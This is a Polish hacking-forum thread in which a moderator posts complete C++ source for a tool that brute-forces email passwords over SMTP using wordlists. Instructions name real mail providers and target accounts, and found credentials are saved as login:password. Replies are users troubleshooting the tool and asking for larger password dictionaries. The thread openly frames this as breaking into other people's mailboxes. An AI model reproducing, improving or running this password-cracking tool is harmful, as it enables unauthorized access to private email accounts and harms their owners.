Strona 1 z 5 123 ... OstatniOstatni
Poka wyniki od 1 do 15 z 65

Temat: amanie hasa do poczty internetowej metod sownikow.

  1. #1
    Dawni Moderatorzy Avatar discovery44
    Doczy
    14-08-2007
    Posty
    726

    Post amanie hasa do poczty internetowej metod sownikow.

    Ze wzgldu na to, e ostatnio czsto widz pytania odnonie tego zagadnienia postanowiem napisa program ktry ma za zadanie zama haso do poczty internetowej przez protok SMTP. Jeeli chciae zada pytanie w stylu "Jak zama/znale haso do poczty znajc tylko login" to zainteresuj si tym tematem.
    Program zosta napisany w C++ z wykorzystaniem winsocket'w [jeeli bdzie potrzeba to opublikuj take wersj na Linuksa].
    Program uruchamia si przez konsol, na chwil obecn nie ma jeszcze interfejsu graficznego [jeeli i na to bdzie zapotrzebowanie to napisz co trzeba].
    Dziaanie:
    Program czy si z serwerem SMTP na porcie 25, wczytuje hasa ze sownika i wysya zapytanie do serwera z loginem i hasem, na podstawie odpowiedzi stwierdza czy podane haso pasuje czy nie.
    Format sownika:
    Sowniki mona znale w internecie, jeeli znajd czas to zamieszcz par odnonikw w tym temacie. Pki co sownikiem moe by sownik jzyka polskiego, wyrazw obcych, wyrazw bliskoznacznych et cetera, et cetera. Sownik powinien zawiera hasa, kade w nowej linii. Przykad:
    qwe
    asd
    zxc
    ...
    Dobre sowniki to te po kilka GB lub ewentualnie po kilkaset MB.
    Ile czasu zajmuje zamanie hasa?
    To zaley od jego zoonoci, od wielkoci sownika, od szybkoci cza. Jeeli sownik way 1GB a haso ofiary jest na Jego kocu to czas amania hasa bdzie wynosi tyle ile wysya si 1GB danych z Twojego komputera + czas pobierania danych z serwera (w pojedynczych operacjach to trwa krtko ale pomnoy to razy kilkaset tysicy i wyjdzie spory okres czasu). Jeeli chcesz zama haso na hopsiup to nie jest to najlepszy sposb.
    Parametry wywoania programu:
    1) Nazwa pod jak zapisany jest program (standardowo to "smtp_password_breaker.exe")
    2) Adres serwera SMTP (dla przykadu "poczta.interia.pl", "poczta.o2.pl")
    3) Nazwa uytkownika ktrego haso masz zamiar zama ("jacek@o2.pl", "krysia@interia.eu")
    4) Lokalizacja sownika, jeeli sownik jest w tym katalogu co program to wystarczy sama nazwa pod jak zapisany jest sownik.
    Jak uruchomi:
    Odpowied jest prosta jednak mog pojawi si pytania jak to zrobi bo obecnie niema GUI.
    Zakadajc, e program jest w katalogu "C:\password_breaker", uruchomi konsol (cmd/wiersz polece) i wpisa:
    Kod:
    cd C:\password_breaker
     smtp_password_breaker.exe poczta.interia.pl jaroslaw@interia.eu  slownik.txt
    Wyniki amania:
    Program zapisze wyniki do pliku tekstowego w katalogu w ktrym si znajduje (przykad: "poczta.o2.pl.txt") w formacie - login:haslo (tomek@o2.pl:omdiw129), take spokojnie mona zostawi program na tydzie wczony :)
    Kod rdowy:
    Moe nie jest najadniejszy ale nie za bardzo lubi pisa programy na Windows'ie :)
    Kod:
    /*
    SMTP Password Breaker
    C++ && sockets
    czw, 23 gru 2010, 00:56:45 by discovery44
    for haker.com.pl
    */
    /* WINDOWS VERSION */
    #include <winsock.h>
    #include <stdexcept>
    #include <stdlib.h>
    #include <iostream>
    #include <fstream>
    #include "base64.h"
    
    using namespace std;
    
    SOCKET sock;
    SOCKADDR_IN addr;
    WSADATA wsda;
    struct hostent *he;
    struct in_addr adr;
    const int BUFFSIZE = 256;
    const int PORT = 25;
    char buffer[BUFFSIZE];
    string query, tbuffer, login, pass, ip, fname;
    fstream infile, outfile;
    void czysc() { for(int i = 0 ; i < BUFFSIZE ; i++) buffer[i] = '\0'; }
    
    int main(int argc, char *argv[])
    {
        cout << "Please come visit: http://haker.com.pl\n";
        if(argc != 4)    cout << "Usage: " << argv[0] << "  poczta.interia.pl user123@interia.eu dictionary.txt\n";
        else
        {
            WSAStartup(MAKEWORD(2,2), &wsda);   
            ip = argv[1];
            login = argv[2];
            fname = argv[3];
            
            infile.open( fname.c_str(), ios::in );
            outfile.open( ( ip + string(".txt") ).c_str(), ios::out |  ios::app );
            if( infile.fail() || outfile.fail() )
                cout << "ERROR: Infile / Outfile.\n";
            else
            {
                sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
                he = gethostbyname( ip.c_str() );
                adr.s_addr = *((unsigned long*)he->h_addr_list[0]);
                addr.sin_family = AF_INET;
                addr.sin_port = htons(PORT);
                addr.sin_addr.s_addr = adr.s_addr;
                if(connect(sock, (struct sockaddr *)&addr, sizeof addr)  != 0)
                {
                    cout << "ERROR: Connect.\n";
                }
                else
                {
                    cout << "Connected.\n";
                    while(1)
                    {
                        try
                        {                
                            query = "auth login\r\n";
                            send(sock, query.c_str(), query.length(), 0);
                            recv(sock, buffer, BUFFSIZE, 0);czysc();
                        
                            query = base64_encode(login) + "\r\n";
                            send(sock, query.c_str(), query.length(), 0);
                            Sleep(100);
                            recv(sock, buffer, BUFFSIZE, 0); czysc();
                            Sleep(100);
    
                            getline(infile, pass);
                            query = base64_encode(pass) + "\r\n";
                            send(sock, query.c_str(), query.length(), 0);
                            Sleep(100);
                            recv(sock, buffer, BUFFSIZE, 0);
                            tbuffer = buffer; 
                            Sleep(200);
                            czysc();
                            
                            if(tbuffer.find("235") != string::npos)
                            {
                                cout << "Password: " << pass  << endl;
                                outfile << login << ":" <<  pass << endl;
                                break;
                            }
                        }
                        catch(out_of_range)
                        {
                            cout << "End of file.\n";
                            break;
                        }
                    }
                }
            }
        }
    }
    Download: zacznik.
    Haso: haker.com.pl
    Zaczone pliki Zaczone pliki

  2. Pani Haker
    Avatar Pani Haker Moderator

    Doczy
    05-03-2009
    Skd
    Internet
    Postw
    666
    Pochwa
    0
  3. #2

    Domylnie

    Jeli jest taka moliwo to bym prosi o umieszczenie linku do jakiego dobrego sownika bo nie mog sam znale:/

    //Dark, szukaj tutaj hakierze: amanie hasa email

  4. #3

    Domylnie

    jeli ju ukazao si conected. to co dalej?? czeka a si uda czy co?

  5. #4
    Uytkownik
    Doczy
    16-06-2007
    Posty
    1

    Domylnie

    Mi wyskakuje ERROR: Connect ? ocb

  6. #5
    Dawni Moderatorzy Avatar discovery44
    Doczy
    14-08-2007
    Posty
    726

    Domylnie

    jeli ju ukazao si conected. to co dalej?? czeka a si uda czy co?
    Czekaj a trafi si poprawne haso i wyprintuje Ci komunikat i zapisze wynik do pliku.
    Mi wyskakuje ERROR: Connect ? ocb
    Czyli, e podajesz zy adres lub nie mona nawiza poczenia (np. smtp nie pracuje na porcie 25).

  7. #6
    Uytkownik (R) Avatar djmentos
    Doczy
    01-05-2007
    Skd
    Gdansk, Poland, Poland
    Posty
    1 828

    Domylnie

    Albo dostp na porcie 25 jest zablokowany. Cakiem sporo czasu TP S.A wprowadzia takowe ograniczenie.

  8. #7

    Domylnie

    nie moge tego uruchomic.klikam dwa razy wyskoczy mi cos i szybko znika.prosze o pomoc.

  9. #8

    Domylnie

    wyskoczyo Connected. Co teraz zrobi?

  10. #9

    Domylnie

    Cytat Napisa Ememens11 Zobacz post
    wyskoczyo Connected. Co teraz zrobi?
    Herbat. Bo musisz czeka, a wyprintuje Ci poprawne haso, wic i herbata si przyda.

  11. #10

    Domylnie

    Cigle czekam, a mj sownik ma 20-30 linijek. Zapomniaem hasa do e-mala, a znam moliwe kombinacje xD.

  12. #11
    Dawni Moderatorzy Avatar discovery44
    Doczy
    14-08-2007
    Posty
    726

    Domylnie

    Jak pisaem wyej dobry sownik czyli taki ktry si na co nada ma kilka GB. Twoje 20 linijek moesz sobie...



    nie moge tego uruchomic.klikam dwa razy wyskoczy mi cos i szybko znika.prosze o pomoc.
    A Ty przeczytaj posta i pogrubienie "Uruchamianie".

  13. #12

    Domylnie

    Tylko 20 linijek, bo wiem jakie litery, liczby i wrazy s w moim hale.

  14. #13

    Domylnie

    take mam problem z uruchomieniem jak kolega "rubelek"
    w pocie jak opisae uruchamianie uye jakiego skrtu mylowego nie rozumiem o co ci tam chodzi
    w tych sprawach jestem laikiem wic prosz o wytumaczenie tego e tak powiem "jak na chopski rozum"
    pozdrawiam

  15. #14

    Domylnie

    siemanko Ciekawy program tylko jak to jest z zabezpieczeniami typu ograniczenie liczby pocze w czasie ? Wtpi by taki Gmail lub o2 pozwala sobie sprawdza tyle iloci hase na sekund.
    [B]repeat[/B]
    Messagebox(handle, [COLOR="Blue"]'Szacunek Ludzi Ulicy'[/COLOR], [COLOR="Blue"]'UltrasGS'[/COLOR], MB_OK);
    [B]Until [/B] [COLOR="Red"]Brak Warunku zakoczenia[/COLOR]
    __________________

  16. #15

    Domylnie

    Wszystko dziaa, dziki ale ten sposb jest mao skuteczny prawie nikt nie ma hasa z sownika polskiego lub angielskiego. S moe jakie sowniki z rnymi kombinacjami hase???

Podobne wtki

  1. amanie hasa metod sownikow
    Przez Crush669
    w forum Hasla - Skanery - IP ...
    Odpowiedzi: 7
    Ostatni post / autor: 30-06-2013, 10:47
  2. poznanie hasa do poczty
    Przez radziu81
    w forum Security
    Odpowiedzi: 1
    Ostatni post / autor: 15-02-2013, 16:13
  3. amanie hase metod sownikow
    Przez buKKa
    w forum Komunikatory
    Odpowiedzi: 5
    Ostatni post / autor: 18-08-2012, 15:26
  4. amanie hasa do poczty WP
    Przez Sizaku
    w forum Hasla - Skanery - IP ...
    Odpowiedzi: 1
    Ostatni post / autor: 24-11-2011, 22:42
  5. amanie hasa w MSN
    Przez Polla
    w forum Komunikatory
    Odpowiedzi: 0
    Ostatni post / autor: 04-11-2011, 17:52

Tagi dla tego tematu

Uprawnienia

  • Nie moesz zakada nowych tematw
  • Nie moesz pisa wiadomoci
  • Nie moesz dodawa zacznikw
  • Nie moesz edytowa swoich postw
  •